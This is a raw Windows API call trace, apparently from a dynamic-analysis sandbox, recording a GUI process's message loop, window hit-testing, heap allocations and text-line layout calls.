[0126.715] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0127.024] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0127.024] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0127.024] GetCapture () returned 0x0
[0127.024] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0127.024] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0127.024] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0127.024] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0127.024] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0127.024] GetCurrentThreadId () returned 0x4e0
[0127.025] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0127.336] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0127.336] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0127.336] GetCapture () returned 0x0
[0127.336] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0127.336] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0127.336] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0127.336] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0127.336] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0127.336] GetCurrentThreadId () returned 0x4e0
[0127.337] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0127.648] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0127.648] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0127.649] GetCapture () returned 0x0
[0127.649] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0127.649] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0127.649] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0127.649] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0127.649] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0127.649] GetCurrentThreadId () returned 0x4e0
[0127.649] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0127.718] NtdllDefWindowProc_W () returned 0x1
[0127.718] NtdllDefWindowProc_W () returned 0x1
[0127.718] NtdllDefWindowProc_W () returned 0x1
[0127.980] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0127.980] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0127.980] GetCapture () returned 0x0
[0128.172] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0128.172] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0128.172] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0128.192] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0128.192] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0128.192] GetCurrentThreadId () returned 0x4e0
[0128.193] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0128.272] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0128.272] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0128.272] GetCapture () returned 0x0
[0128.272] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0128.272] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0128.272] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0128.272] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0128.272] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0128.272] GetCurrentThreadId () returned 0x4e0
[0128.273] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0128.600] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0128.600] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0128.600] GetCapture () returned 0x0
[0128.600] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0128.600] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0128.600] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0128.600] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0128.600] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0128.600] GetCurrentThreadId () returned 0x4e0
[0128.600] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0128.651] NtdllDefWindowProc_W () returned 0x1
[0128.651] NtdllDefWindowProc_W () returned 0x1
[0128.652] NtdllDefWindowProc_W () returned 0x1
[0128.745] NtdllDefWindowProc_W () returned 0x1
[0128.745] NtdllDefWindowProc_W () returned 0x1
[0128.745] NtdllDefWindowProc_W () returned 0x1
[0128.896] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0128.896] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0128.896] GetCapture () returned 0x0
[0128.896] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0128.896] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0128.896] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0128.896] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0128.896] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0128.897] GetCurrentThreadId () returned 0x4e0
[0128.897] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0129.208] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0129.208] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0129.208] GetCapture () returned 0x0
[0129.208] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0129.208] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0129.208] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0129.208] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0129.208] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0129.208] GetCurrentThreadId () returned 0x4e0
[0129.208] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0129.523] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0129.523] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0129.523] GetCapture () returned 0x0
[0129.523] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0129.523] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0129.523] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0129.523] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0129.523] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0129.523] GetCurrentThreadId () returned 0x4e0
[0129.523] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0129.832] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0129.832] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0129.832] GetCapture () returned 0x0
[0129.832] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0129.832] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0129.832] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0129.832] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0129.832] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0129.832] GetCurrentThreadId () returned 0x4e0
[0129.833] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0130.144] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0130.144] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0130.144] GetCapture () returned 0x0
[0130.144] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0130.144] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0130.144] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0130.144] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0130.144] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0130.144] GetCurrentThreadId () returned 0x4e0
[0130.145] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0130.456] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0130.456] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0130.456] GetCapture () returned 0x0
[0130.456] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0130.456] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0130.456] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0130.456] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0130.456] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0130.456] GetCurrentThreadId () returned 0x4e0
[0130.457] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0130.768] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0130.768] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0130.768] GetCapture () returned 0x0
[0130.768] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0130.768] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0130.768] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0130.768] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0130.768] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0130.768] GetCurrentThreadId () returned 0x4e0
[0130.769] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0131.088] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0131.089] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0131.089] GetCapture () returned 0x0
[0131.089] WindowFromPoint (Point=0x1f4) returned 0x1013a
[0131.089] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0131.089] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0131.089] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0131.089] PtInRect (lprc=0x1cf3f0, pt=0x1ba) returned 1
[0131.089] GetCurrentThreadId () returned 0x4e0
[0131.089] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0131.392] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0131.392] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0131.392] GetCapture () returned 0x0
[0131.392] WindowFromPoint (Point=0x311) returned 0x1008a
[0131.392] IsChild (hWndParent=0x1013a, hWnd=0x1008a) returned 0
[0131.392] GetMessageTime () returned 57470
[0131.393] GetMessagePos () returned 0x36b0311
[0131.393] KillTimer (hWnd=0x10136, uIDEvent=0x2002) returned 1
[0131.393] GetCapture () returned 0x0
[0131.393] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5cc | out: lpPoint=0x1cf5cc) returned 1
[0131.393] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0131.393] GetCurrentThreadId () returned 0x4e0
[0131.393] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0131.393] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0131.393] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0131.393] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0131.393] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0131.394] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0131.394] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0131.394] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0131.394] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0131.394] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0131.394] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0131.394] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0131.394] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0131.394] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0131.394] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0131.394] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf5d0 | out: lpPoint=0x1cf5d0) returned 1
[0131.394] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0131.394] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0131.394] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x0, plResult=0x1cf6c4 | out: plResult=0x1cf6c4) returned 0x1
[0131.394] NtdllDefWindowProc_W () returned 0x0
[0131.395] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0131.395] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0141.223] NtdllDefWindowProc_W () returned 0xb
[0141.223] NtdllDefWindowProc_W () returned 0x1
[0141.223] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0141.223] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0141.223] NtdllDefWindowProc_W () returned 0x0
[0141.223] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0151.284] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0151.284] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0151.284] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0151.284] PtInRect (lprc=0x1cf5d0, pt=0x27f) returned 1
[0151.284] GetCurrentThreadId () returned 0x4e0
[0151.284] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0151.284] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0151.284] GetMessageTime () returned 66721
[0151.284] GetMessagePos () returned 0x83056a
[0151.284] GetCapture () returned 0x0
[0151.284] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0151.284] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0151.284] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0151.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0151.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0151.285] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0151.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1ce07c, lprcSrc1=0x1ce07c, lprcSrc2=0x1cdf34 | out: lprcDst=0x1ce07c) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce09c | out: lprcDst=0x1cf0e0) returned 1
[0151.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.285] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0151.285] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce0bc | out: lprcDst=0x1cf0e0) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cde80, lprcSrc1=0x1cde80, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cde80) returned 1
[0151.285] IntersectRect (in: lprcDst=0x1cdcc4, lprcSrc1=0x1cdcc4, lprcSrc2=0x1cdb60 | out: lprcDst=0x1cdcc4) returned 1
[0151.285] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.286] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0151.286] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcb4 | out: lprcDst=0x1cf0e0) returned 1
[0151.286] IntersectRect (in: lprcDst=0x1cdb70, lprcSrc1=0x1cdb70, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdb70) returned 1
[0151.286] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cdcd4 | out: lprcDst=0x1cf0e0) returned 1
[0151.286] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0151.286] LsSetDoc () returned 0x0
[0151.286] LsCreateLine () returned 0x0
[0151.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.286] LsDestroyLine () returned 0x0
[0151.286] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1cdf40, lprcSrc1=0x1cdf40, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdf40) returned 1
[0151.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0151.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.287] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0151.287] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0151.287] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0151.287] LsSetDoc () returned 0x0
[0151.287] LsCreateLine () returned 0x0
[0151.287] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0151.288] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] LsdnFinishRegular () returned 0x0
[0151.288] LsQueryLinePointPcp () returned 0x0
[0151.288] LsDestroyLine () returned 0x0
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.288] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0151.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0151.289] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0151.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0151.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0151.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0151.289] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0151.289] SetTimer (hWnd=0x10136, nIDEvent=0x2003, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2003
[0151.289] PtInRect (lprc=0x1cf27c, pt=0xf51e) returned 0
[0151.289] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0151.289] GetCursor () returned 0x10011
[0151.289] ShowCursor (bShow=0) returned -1
[0151.289] SetCursor (hCursor=0x10005) returned 0x10011
[0151.289] ShowCursor (bShow=1) returned 0
[0151.289] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0151.289] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0151.289] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0151.290] GetMessageTime () returned 75348
[0151.290] GetMessagePos () returned 0x26302b9
[0151.290] GetCapture () returned 0x0
[0151.290] GetCurrentThreadId () returned 0x4e0
[0151.290] GetCurrentThreadId () returned 0x4e0
[0151.290] GetCurrentThreadId () returned 0x4e0
[0151.290] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
